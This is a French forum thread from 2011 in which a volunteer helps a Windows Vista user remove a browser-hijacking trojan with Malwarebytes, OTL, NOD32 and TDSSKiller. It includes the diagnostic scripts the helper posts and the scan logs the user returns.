virus win32: dracur-C[cryp] Résolu

Question

Bonjour, 
  Je suis infecté par un virus que seul avast a détecté. Mc Afee ne l'a pas trouvé.
J'ai beaucoup de mal à naviguer sur le web et des pages s'ouvrent ttes seul.
Est ce que quelqu'un peu m'aider?
configuration: vista
merci d'avance



Configuration: Linux / Firefox 3.6.13

Malekal_morte- · Answer

Salut, 

Télécharge et installe Malwarebyte : https://www.malekal.com/tutoriel-malwarebyte-anti-malware/  
Mets le à jour, fais un scan, supprime tout et poste le rapport ici.  

puis : 

Tu peux suivre les indications de cette page pour t'aider : https://www.malekal.com/tutorial-otl/ 

* Télécharge http://www.geekstogo.com/forum/files/file/398-otl-oldtimers-list-it/ sur ton bureau. 
(Sous Vista/Win7, il faut cliquer droit sur OTL et choisir Exécuter en tant qu'administrateur) 

* Lance OTL 
* Sous Peronnalisation, copie-colle ce qu'il y a dans le cadre ci-dessous : 
netsvcs
msconfig
safebootminimal
safebootnetwork
activex
drivers32
%ALLUSERSPROFILE\%Application Data\*.
%ALLUSERSPROFILE%\Application Data\*.exe /s
%APPDATA%\*.
%APPDATA%\*.exe /s
%SYSTEMDRIVE%\*.exe
%systemroot%\*. /mp /s
%systemroot%\system32\*.dll /lockedfiles
%systemroot%\Tasks\*.job /lockedfiles
%systemroot%\system32drivers\*.sys /lockedfiles
%systemroot%\System32config\*.sav
/md5start
explorer.exe
winlogon.exe
wininit.exe
/md5stop
CREATERESTOREPOINT 
* Clique sur le bouton Analyse. 
* Quand le scan est fini, utilise le site http://www.cijoint.fr/ pour me donner les deux rapports : OTL.Txt et Extras.Txt.

Malekal_morte- · Answer

2,00 Gb Total Physical Memory | 1,00 Gb Available Physical Memory | 49,00% Memory free  
T'as casi 1 giga de RAM de bouffée pour une grande partie par des programmes pollueurs.  


  
O3 - HKLM\..\Toolbar: (Google Toolbar) - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar.dll (Google Inc.)  
O3 - HKLM\..\Toolbar: (GamesBar) - {6F282B65-56BF-4BD1-A8B2-A4449A05863D} - C:\Program Files\GamesBar\oberontb.dll (Oberon Media Ltd.)  
O3 - HKLM\..\Toolbar: (Oryte Games 1 Toolbar) - {bc04b34e-5dd8-465a-a5e0-86f7c11bc009} - C:\Program Files\Games_Bar_1	bGam1.dll (Conduit Ltd.)  
O3 - HKCU\..\Toolbar\WebBrowser: (no name) - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - No CLSID value found.  
O3 - HKCU\..\Toolbar\WebBrowser: (Google Toolbar) - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar.dll (Google Inc.)  
O3 - HKCU\..\Toolbar\WebBrowser: (Oryte Games 1 Toolbar) - {BC04B34E-5DD8-465A-A5E0-86F7C11BC009} - C:\Program Files\Games_Bar_1	bGam1.dll (Conduit Ltd.)  
Google Toolbar  
Yahoo Toolbar sur Yahoo!  

Les barres d'outils sont là pour t'affilier à un service (moteur de recherche de Yahoo! ou Google), ça rajoute des fonctionnalités mais en général les navigateurs les ont par défaut.   
Plusieurs toolbars ralentissent le PC et peuvent faire planter les navigateurs WEB.   
Au final, il est pas conseillé d'en utiliser.   
Lire :   
Les toolbars c'est pas obligatoire!   




O4 - HKCU..\Run: [UniblueRegistryBooster] C:\Program Files\Uniblue\RegistryBooster\launcher.exe (Uniblue Systems Limited)  
Poubelle ?  
à lire : https://forums.commentcamarche.net/forum/affich-20507405-registry-booster#p20508397  



~~  



Relance OTL.   
o sous Personnalisation, copie_colle le contenu du cadre ci dessous et clic Correction, un rapport apparraitra suite à l'operation que tu conserveras sur clé usb par exemple afin d'en coller le resultat:   

:OTL  
PRC - [2010/12/19 21:00:02 | 000,007,168 | ---- | M] () -- C:\Program Files\Installer\lnetworker.exe  
PRC - [2010/11/25 18:24:38 | 000,008,192 | ---- | M] () -- C:\Windows\BackupIP\service.exe  
O20 - AppInit_DLLs: (C:\Windows\system32\devmgr32.dll) -  File not found  
:files  
C:\Users\bidou\AppData\Roaming\78121ff9  
C:\ProgramData\2025998510  
C:\ProgramData\680663294  
C:\Program Files\Installer\  
C:\Windows\BackupIP\   

* redemarre le pc sous windows et poste le rapport ici   


~~  

Ensuite... :  

Fais un scan complet NOD32 : https://www.malekal.com/scan-antivirus-ligne-nod32/#NOD32   
Poste le rapport ici.   

~~  


y a quoi là dedans ?  
C:\Windows\System32\vmm32  


Remember when you were young, you shone like the sun.  
Shine on you crazy diamond.  
Now there's a look in your eyes, like black holes in the sky.  
Shine on you crazy diamond.

cricri10 · Answer

ci dessous le rapport
========== OTL ==========
Process lnetworker.exe killed successfully!
Process service.exe killed successfully!
Registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_Dlls:C:\Windows\system32\devmgr32.dll deleted successfully.
========== FILES ==========
C:\Users\bidou\AppData\Roaming\78121ff9 moved successfully.
C:\ProgramData\2025998510 moved successfully.
C:\ProgramData\680663294 moved successfully.
C:\Program Files\Installer folder moved successfully.
C:\Windows\BackupIP folder moved successfully.
 
OTL by OldTimer - Version 3.2.20.2 log created on 01132011_220232


je fais le scan. A+

cricri10 · Answer

bonjour
ci dessous le rapport de NOD
ça commence à aller beaucoup mieux.
Le C:\Windows\System32\vmm32  est un fichier de type pilote de périphérique virtuel vxd ????
J'ai supprimé C:\Program Files\Uniblue\RegistryBooster\launcher.exe (Uniblue Systems Limited) 
J'ai fait de la place dans les barres toolbards
Je te remercie encore et j'attends de tes nouvelles

C:\ProgramData\0E6AA852E628D766B12B16956228B3FB\b\bint1	Win32/TrojanDownloader.Tracur.B cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\0047b38f_0da5cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\00cfeba2_c58ccb01
etworker.EXE	une variante de MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\1064d469_c3adcb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\19cae665_95b2cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\2871026e_ce9fcb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\34d3c3ba_7fa6cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\5559c24a_84a6cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\56401beb_f19fcb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\61898a4d_549dcb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\6c86cd16_d0a2cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\807b2c26_23b2cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\8d0c9052_b79fcb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\9f87cd57_05a9cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\a711bf1b_9aa5cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\a89d4a26_a2a6cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\b3e2e55f_1cb0cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\d6984e91_79a7cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\e0caa84a_15a2cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\e9077daa_3da1cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\assembly\dl3\0HA33T40.4B4\B8KBHTNB.EHO\a431a1cb\ff800a8b_50b2cb01
etworker.EXE	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp	mp6tbix7	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp	mpmcyxhk	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp	mpor2iez	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp	mpscct8g	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp	mpt1v5ag	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp	mpyqm33t	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmpbia.exe	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmp\data\OFFLINE\FB000E7F\DBD9B16A\Launcher.exe	Win32/Packed.RBCrypt.A.Gen application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmp\data\OFFLINE\FB000E7F\DBD9B16Abmonitor.exe	Win32/Packed.RBCrypt.A.Gen application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmp\data\OFFLINE\FB000E7F\DBD9B16Abnotifier.exe	Win32/Packed.RBCrypt.A.Gen application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmp\data\OFFLINE\FB000E7F\DBD9B16Ab_decryptor.exe	Win32/RegistryBooster application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmp\data\OFFLINE\FB000E7F\DBD9B16Ab_move_serial.exe	Win32/Packed.RBCrypt.A.Gen application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmp\data\OFFLINE\FB000E7F\DBD9B16Ab_track_install.exe	Win32/Packed.RBCrypt.A.Gen application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Local\Temp\mia17E3.tmp\data\OFFLINE\FB000E7F\DBD9B16Aegistrybooster.exe	Win32/Packed.RBCrypt.A.Gen application	nettoyé par suppression - mis en quarantaine
C:\Users\bidou\AppData\Roaming\OpenCandyegistrybooster(8).exe	une variante de Win32/RegistryBooster application	supprimé - mis en quarantaine
C:\Users\bidou\Downloads\install_messenger.exe	VBS/StartPage.NCM.Gen cheval de troie	supprimé - mis en quarantaine
C:\Users\bidou\Downloadsegistrybooster.exe	menaces multiples	supprimé - mis en quarantaine
C:\_OTL\MovedFiles\01132011_220232\C_Program Files\Installer
etworker.exe	MSIL/Agent.NEG cheval de troie	nettoyé par suppression - mis en quarantaine

cricri10 · Answer

j'ai encore un souci au niveau des pages web: sur la page google, lorsque je fais une recherche sur un mot par ex "tintin", les pages de recherches s'ouvrent et lorsque je clique sur l'une d'entre-elle "tintin.com' par ex, je suis redirigé sur une page "jump" avec bing.fr :(
Par contre je n'ai plus easy shearch qui s'ouvre par défaut:)
A+

Malekal_morte- · Answer

.

Remember when you were young, you shone like the sun. 
Shine on you crazy diamond. 
Now there's a look in your eyes, like black holes in the sky. 
Shine on you crazy diamond.

Malekal_morte- · Answer

Passe TDskiller : https://forum.malekal.com/viewtopic.php?t=28637&start=
Poste le rapport ici.

~~

Refais un scan OTL avec le script personnalisé : https://forums.commentcamarche.net/forum/affich-20508371-virus-win32-dracur-c-cryp#1
Poste le rapport ici.

cricri10 · Answer

rapport TDskiller:
2011/01/14 11:52:39.0681	TDSS rootkit removing tool 2.4.13.0 Jan 12 2011 09:51:11
2011/01/14 11:52:39.0682	================================================================================
2011/01/14 11:52:39.0682	SystemInfo:
2011/01/14 11:52:39.0682	
2011/01/14 11:52:39.0682	OS Version: 6.0.6002 ServicePack: 2.0
2011/01/14 11:52:39.0682	Product type: Workstation
2011/01/14 11:52:39.0682	ComputerName: CHRISTIAN
2011/01/14 11:52:39.0683	UserName: bidou
2011/01/14 11:52:39.0683	Windows directory: C:\Windows
2011/01/14 11:52:39.0683	System windows directory: C:\Windows
2011/01/14 11:52:39.0683	Processor architecture: Intel x86
2011/01/14 11:52:39.0683	Number of processors: 2
2011/01/14 11:52:39.0683	Page size: 0x1000
2011/01/14 11:52:39.0683	Boot type: Normal boot
2011/01/14 11:52:39.0683	================================================================================
2011/01/14 11:52:41.0102	Initialize success
2011/01/14 11:52:58.0042	================================================================================
2011/01/14 11:52:58.0042	Scan started
2011/01/14 11:52:58.0043	Mode: Manual; 
2011/01/14 11:52:58.0043	================================================================================
2011/01/14 11:53:01.0944	abp480n5        (6abb91494fe6c59089b9336452ab2ea3) C:\Windows\system32\DRIVERS\ABP480N5.SYS
2011/01/14 11:53:02.0360	ACPI            (82b296ae1892fe3dbee00c9cf92f8ac7) C:\Windows\system32\drivers\acpi.sys
2011/01/14 11:53:02.0748	adp94xx         (2edc5bbac6c651ece337bde8ed97c9fb) C:\Windows\system32\drivers\adp94xx.sys
2011/01/14 11:53:03.0247	adpahci         (b84088ca3cdca97da44a984c6ce1ccad) C:\Windows\system32\drivers\adpahci.sys
2011/01/14 11:53:03.0621	adpu160m        (7880c67bccc27c86fd05aa2afb5ea469) C:\Windows\system32\drivers\adpu160m.sys
2011/01/14 11:53:03.0859	adpu320         (9ae713f8e30efc2abccd84904333df4d) C:\Windows\system32\drivers\adpu320.sys
2011/01/14 11:53:04.0128	AegisP          (91f3df93f40a74d222cd166fe95db633) C:\Windows\system32\DRIVERS\AegisP.sys
2011/01/14 11:53:04.0573	AFD             (a201207363aa900abf1a388468688570) C:\Windows\system32\drivers\afd.sys
2011/01/14 11:53:04.0943	agp440          (ef23439cdd587f64c2c1b8825cead7d8) C:\Windows\system32\drivers\agp440.sys
2011/01/14 11:53:05.0177	Aha154x         (c23ea9b5f46c7f7910db3eab648ff013) C:\Windows\system32\DRIVERS\aha154x.sys
2011/01/14 11:53:05.0397	aic78u2         (19dd0fb48b0c18892f70e2e7d61a1529) C:\Windows\system32\DRIVERS\aic78u2.sys
2011/01/14 11:53:05.0820	aic78xx         (ae1fdf7bf7bb6c6a70f67699d880592a) C:\Windows\system32\drivers\djsvs.sys
2011/01/14 11:53:06.0163	aliide          (3a99cb23a2d326fd532618705d6e3048) C:\Windows\system32\drivers\aliide.sys
2011/01/14 11:53:06.0283	amdagp          (2b13e304c9dfdfa5eb582f6a149fa2c7) C:\Windows\system32\drivers\amdagp.sys
2011/01/14 11:53:06.0609	amdide          (4333c133dbd71c7d7fe4fb1b83f9ee3e) C:\Windows\system32\drivers\amdide.sys
2011/01/14 11:53:06.0874	AmdK7           (dc487885bcef9f28eece6fac0e5ddfc5) C:\Windows\system32\drivers\amdk7.sys
2011/01/14 11:53:07.0151	AmdK8           (0ca0071da4315b00fc1328ca86b425da) C:\Windows\system32\drivers\amdk8.sys
2011/01/14 11:53:07.0460	amsint          (79f5add8d24bd6893f2903a3e2f3fad6) C:\Windows\system32\DRIVERS\amsint.sys
2011/01/14 11:53:07.0854	arc             (5f673180268bb1fdb69c99b6619fe379) C:\Windows\system32\drivers\arc.sys
2011/01/14 11:53:08.0289	arcsas          (957f7540b5e7f602e44648c7de5a1c05) C:\Windows\system32\drivers\arcsas.sys
2011/01/14 11:53:08.0390	asc             (62d318e9a0c8fc9b780008e724283707) C:\Windows\system32\DRIVERS\asc.sys
2011/01/14 11:53:08.0765	asc3350p        (69eb0cc7714b32896ccbfd5edcbea447) C:\Windows\system32\DRIVERS\asc3350p.sys
2011/01/14 11:53:09.0154	asc3550         (5d8de112aa0254b907861e9e9c31d597) C:\Windows\system32\DRIVERS\asc3550.sys
2011/01/14 11:53:09.0588	AsyncMac        (53b202abee6455406254444303e87be1) C:\Windows\system32\DRIVERS\asyncmac.sys
2011/01/14 11:53:09.0713	atapi           (1f05b78ab91c9075565a9d8a4b880bc4) C:\Windows\system32\drivers\atapi.sys
2011/01/14 11:53:10.0117	bcm4sbxp        (08015d34f6fdd0b355805bad978497c3) C:\Windows\system32\DRIVERS\bcm4sbxp.sys
2011/01/14 11:53:10.0450	Beep            (67e506b75bd5326a3ec7b70bd014dfb6) C:\Windows\system32\drivers\Beep.sys
2011/01/14 11:53:10.0850	bowser          (74b442b2be1260b7588c136177ceac66) C:\Windows\system32\DRIVERS\bowser.sys
2011/01/14 11:53:11.0172	BrFiltLo        (9f9acc7f7ccde8a15c282d3f88b43309) C:\Windows\system32\drivers\brfiltlo.sys
2011/01/14 11:53:11.0244	BrFiltUp        (56801ad62213a41f6497f96dee83755a) C:\Windows\system32\drivers\brfiltup.sys
2011/01/14 11:53:11.0581	Brserid         (b304e75cff293029eddf094246747113) C:\Windows\system32\drivers\brserid.sys
2011/01/14 11:53:11.0900	BrSerWdm        (203f0b1e73adadbbb7b7b1fabd901f6b) C:\Windows\system32\drivers\brserwdm.sys
2011/01/14 11:53:11.0981	BrUsbMdm        (bd456606156ba17e60a04e18016ae54b) C:\Windows\system32\drivers\brusbmdm.sys
2011/01/14 11:53:12.0274	BrUsbSer        (af72ed54503f717a43268b3cc5faec2e) C:\Windows\system32\drivers\brusbser.sys
2011/01/14 11:53:12.0589	BTHMODEM        (ad07c1ec6665b8b35741ab91200c6b68) C:\Windows\system32\drivers\bthmodem.sys
2011/01/14 11:53:12.0899	cd20xrnt        (f3ec03299634490e97bbce94cd2954c7) C:\Windows\system32\DRIVERS\cd20xrnt.sys
2011/01/14 11:53:13.0298	cdfs            (7add03e75beb9e6dd102c3081d29840a) C:\Windows\system32\DRIVERS\cdfs.sys
2011/01/14 11:53:13.0618	cdrom           (6b4bffb9becd728097024276430db314) C:\Windows\system32\DRIVERS\cdrom.sys
2011/01/14 11:53:14.0058	cfwids          (7e6f7da1c4de5680820f964562548949) C:\Windows\system32\drivers\cfwids.sys
2011/01/14 11:53:14.0171	circlass        (da8e0afc7baa226c538ef53ac2f90897) C:\Windows\system32\drivers\circlass.sys
2011/01/14 11:53:14.0629	CLFS            (d7659d3b5b92c31e84e53c1431f35132) C:\Windows\system32\CLFS.sys
2011/01/14 11:53:15.0126	CmBatt          (99afc3795b58cc478fbbbcdc658fcb56) C:\Windows\system32\DRIVERS\CmBatt.sys
2011/01/14 11:53:15.0357	cmdide          (dfb94a6fc3a26972b0461ab5f1d8272b) C:\Windows\system32\drivers\cmdide.sys
2011/01/14 11:53:15.0538	Compbatt        (6afef0b60fa25de07c0968983ee4f60a) C:\Windows\system32\DRIVERS\compbatt.sys
2011/01/14 11:53:15.0758	Cpqarray        (3ee529119eed34cd212a215e8c40d4b6) C:\Windows\system32\DRIVERS\cpqarray.sys
2011/01/14 11:53:15.0956	crcdisk         (2a213ae086bbec5e937553c7d9a2b22c) C:\Windows\system32\drivers\crcdisk.sys
2011/01/14 11:53:16.0153	Crusoe          (22a7f883508176489f559ee745b5bf5d) C:\Windows\system32\drivers\crusoe.sys
2011/01/14 11:53:16.0376	dac2w2k         (e550e7418984b65a78299d248f0a7f36) C:\Windows\system32\DRIVERS\dac2w2k.sys
2011/01/14 11:53:16.0672	dac960nt        (683789caa3864eb46125ae86ff677d34) C:\Windows\system32\DRIVERS\dac960nt.sys
2011/01/14 11:53:17.0081	DfsC            (218d8ae46c88e82014f5d73d0236d9b2) C:\Windows\system32\Drivers\dfsc.sys
2011/01/14 11:53:17.0443	disk            (5d4aefc3386920236a548271f8f1af6a) C:\Windows\system32\drivers\disk.sys
2011/01/14 11:53:17.0756	DLABMFSM        (a53723176d0002feb486eff8e17812f2) C:\Windows\system32\DLA\DLABMFSM.SYS
2011/01/14 11:53:18.0234	DLABOIOM        (d4587063acea776699251e177d719586) C:\Windows\system32\DLA\DLABOIOM.SYS
2011/01/14 11:53:18.0636	DLACDBHM        (5230cdb7e715f3a3b4a882e254cdd35d) C:\Windows\system32\Drivers\DLACDBHM.SYS
2011/01/14 11:53:18.0888	DLADResM        (4d1b9bdaab7a4e3643b79d805b79d33e) C:\Windows\system32\DLA\DLADResM.SYS
2011/01/14 11:53:19.0185	DLAIFS_M        (24400137e387a24410c52a591f3cfb4d) C:\Windows\system32\DLA\DLAIFS_M.SYS
2011/01/14 11:53:19.0582	DLAOPIOM        (29a303feceb28641ecebdae89eb71c63) C:\Windows\system32\DLA\DLAOPIOM.SYS
2011/01/14 11:53:19.0982	DLAPoolM        (c93e33a22a1ae0c5508f3fb1f6d0a50c) C:\Windows\system32\DLA\DLAPoolM.SYS
2011/01/14 11:53:20.0604	DLARTL_M        (77fe51f0f8d86804cb81f6ef6bfb86dd) C:\Windows\system32\Drivers\DLARTL_M.SYS
2011/01/14 11:53:20.0906	DLAUDFAM        (b953498c35a31e5ac98f49adbcf3e627) C:\Windows\system32\DLA\DLAUDFAM.SYS
2011/01/14 11:53:21.0132	DLAUDF_M        (4897704c093c1f59ce58fc65e1e1ef1e) C:\Windows\system32\DLA\DLAUDF_M.SYS
2011/01/14 11:53:21.0613	dpti2o          (40f3b93b4e5b0126f2f5c0a7a5e22660) C:\Windows\system32\DRIVERS\dpti2o.sys
2011/01/14 11:53:22.0218	drmkaud         (97fef831ab90bee128c9af390e243f80) C:\Windows\system32\drivers\drmkaud.sys
2011/01/14 11:53:22.0514	DRVMCDB         (c00440385cf9f3d142917c63f989e244) C:\Windows\system32\Drivers\DRVMCDB.SYS
2011/01/14 11:53:22.0762	DRVNDDM         (ffc371525aa55d1bae18715ebcb8797c) C:\Windows\system32\Drivers\DRVNDDM.SYS
2011/01/14 11:53:22.0990	DSproct         (2ac2372ffad9adc85672cc8e8ae14be9) C:\Program Files\Dell Support\GTAction	riggers\DSproct.sys
2011/01/14 11:53:23.0395	DXGKrnl         (5c7e2097b91d689ded7a6ff90f0f3a25) C:\Windows\System32\drivers\dxgkrnl.sys
2011/01/14 11:53:23.0715	E1G60           (f88fb26547fd2ce6d0a5af2985892c48) C:\Windows\system32\DRIVERS\E1G60I32.sys
2011/01/14 11:53:24.0114	Ecache          (7f64ea048dcfac7acf8b4d7b4e6fe371) C:\Windows\system32\drivers\ecache.sys
2011/01/14 11:53:24.0397	elxstor         (e8f3f21a71720c84bcf423b80028359f) C:\Windows\system32\drivers\elxstor.sys
2011/01/14 11:53:24.0994	exfat           (22b408651f9123527bcee54b4f6c5cae) C:\Windows\system32\drivers\exfat.sys
2011/01/14 11:53:25.0215	fastfat         (1e9b9a70d332103c52995e957dc09ef8) C:\Windows\system32\drivers\fastfat.sys
2011/01/14 11:53:25.0401	fdc             (63bdada84951b9c03e641800e176898a) C:\Windows\system32\DRIVERS\fdc.sys
2011/01/14 11:53:25.0767	FileInfo        (a8c0139a884861e3aae9cfe73b208a9f) C:\Windows\system32\drivers\fileinfo.sys
2011/01/14 11:53:25.0867	Filetrace       (0ae429a696aecbc5970e3cf2c62635ae) C:\Windows\system32\drivers\filetrace.sys
2011/01/14 11:53:26.0170	flpydisk        (6603957eff5ec62d25075ea8ac27de68) C:\Windows\system32\DRIVERS\flpydisk.sys
2011/01/14 11:53:26.0387	FltMgr          (01334f9ea68e6877c4ef05d3ea8abb05) C:\Windows\system32\drivers\fltmgr.sys
2011/01/14 11:53:26.0683	Fs_Rec          (65ea8b77b5851854f0c55c43fa51a198) C:\Windows\system32\drivers\Fs_Rec.sys
2011/01/14 11:53:26.0929	gagp30kx        (4e1cd0a45c50a8882616cae5bf82f3c5) C:\Windows\system32\drivers\gagp30kx.sys
2011/01/14 11:53:27.0166	HdAudAddService (cb04c744be0a61b1d648faed182c3b59) C:\Windows\system32\drivers\HdAudio.sys
2011/01/14 11:53:27.0492	HDAudBus        (062452b7ffd68c8c042a6261fe8dff4a) C:\Windows\system32\DRIVERS\HDAudBus.sys
2011/01/14 11:53:27.0817	HidBth          (1338520e78d90154ed6be8f84de5fceb) C:\Windows\system32\drivers\hidbth.sys
2011/01/14 11:53:28.0116	HidIr           (ff3160c3a2445128c5a6d9b076da519e) C:\Windows\system32\drivers\hidir.sys
2011/01/14 11:53:28.0445	HidUsb          (cca4b519b17e23a00b826c55716809cc) C:\Windows\system32\DRIVERS\hidusb.sys
2011/01/14 11:53:28.0555	hnmwrlspkt      (cabba915f11ff2013c550bb1a9b977df) C:\Windows\system32\DRIVERS\hnm_wrls_pkt.sys
2011/01/14 11:53:28.0932	HpCISSs         (df353b401001246853763c4b7aaa6f50) C:\Windows\system32\drivers\hpcisss.sys
2011/01/14 11:53:29.0024	hpn             (b028377dea0546a5fcfba928a8aefae0) C:\Windows\system32\DRIVERS\hpn.sys
2011/01/14 11:53:29.0425	HSFHWAZL        (46d67209550973257601a533e2ac5785) C:\Windows\system32\DRIVERS\VSTAZL3.SYS
2011/01/14 11:53:29.0557	HSF_DPV         (53229dcf431d76434816cd29251168a0) C:\Windows\system32\DRIVERS\HSX_DPV.sys
2011/01/14 11:53:29.0966	HSXHWAZL        (31f949d452201f2f0af0c88d7db512cd) C:\Windows\system32\DRIVERS\HSXHWAZL.sys
2011/01/14 11:53:30.0446	HTTP            (f870aa3e254628ebeafe754108d664de) C:\Windows\system32\drivers\HTTP.sys
2011/01/14 11:53:31.0009	i2omp           (324c2152ff2c61abae92d09f3cca4d63) C:\Windows\system32\drivers\i2omp.sys
2011/01/14 11:53:31.0534	i8042prt        (22d56c8184586b7a1f6fa60be5f5a2bd) C:\Windows\system32\DRIVERS\i8042prt.sys
2011/01/14 11:53:31.0658	iaStorV         (c957bf4b5d80b46c5017bf0101e6c906) C:\Windows\system32\drivers\iastorv.sys
2011/01/14 11:53:32.0035	iirsp           (2d077bf86e843f901d8db709c95b49a5) C:\Windows\system32\drivers\iirsp.sys
2011/01/14 11:53:32.0336	ini910u         (4a40e045faee58631fd8d91afc620719) C:\Windows\system32\DRIVERS\ini910u.sys
2011/01/14 11:53:32.0626	intelide        (83aa759f3189e6370c30de5dc5590718) C:\Windows\system32\DRIVERS\intelide.sys
2011/01/14 11:53:32.0792	intelppm        (224191001e78c89dfa78924c3ea595ff) C:\Windows\system32\DRIVERS\intelppm.sys
2011/01/14 11:53:33.0043	IpFilterDriver  (62c265c38769b864cb25b4bcf62df6c3) C:\Windows\system32\DRIVERS\ipfltdrv.sys
2011/01/14 11:53:33.0438	IPMIDRV         (40f34f8aba2a015d780e4b09138b6c17) C:\Windows\system32\drivers\ipmidrv.sys
2011/01/14 11:53:33.0635	IPNAT           (8793643a67b42cec66490b2a0cf92d68) C:\Windows\system32\DRIVERS\ipnat.sys
2011/01/14 11:53:33.0882	IRENUM          (109c0dfb82c3632fbd11949b73aeeac9) C:\Windows\system32\drivers\irenum.sys
2011/01/14 11:53:34.0060	isapnp          (350fca7e73cf65bcef43fae1e4e91293) C:\Windows\system32\drivers\isapnp.sys
2011/01/14 11:53:34.0445	iScsiPrt        (232fa340531d940aac623b121a595034) C:\Windows\system32\DRIVERS\msiscsi.sys
2011/01/14 11:53:34.0594	iteatapi        (bced60d16156e428f8df8cf27b0df150) C:\Windows\system32\drivers\iteatapi.sys
2011/01/14 11:53:34.0811	iteraid         (06fa654504a498c30adca8bec4e87e7e) C:\Windows\system32\drivers\iteraid.sys
2011/01/14 11:53:35.0058	kbdclass        (37605e0a8cf00cbba538e753e4344c6e) C:\Windows\system32\DRIVERS\kbdclass.sys
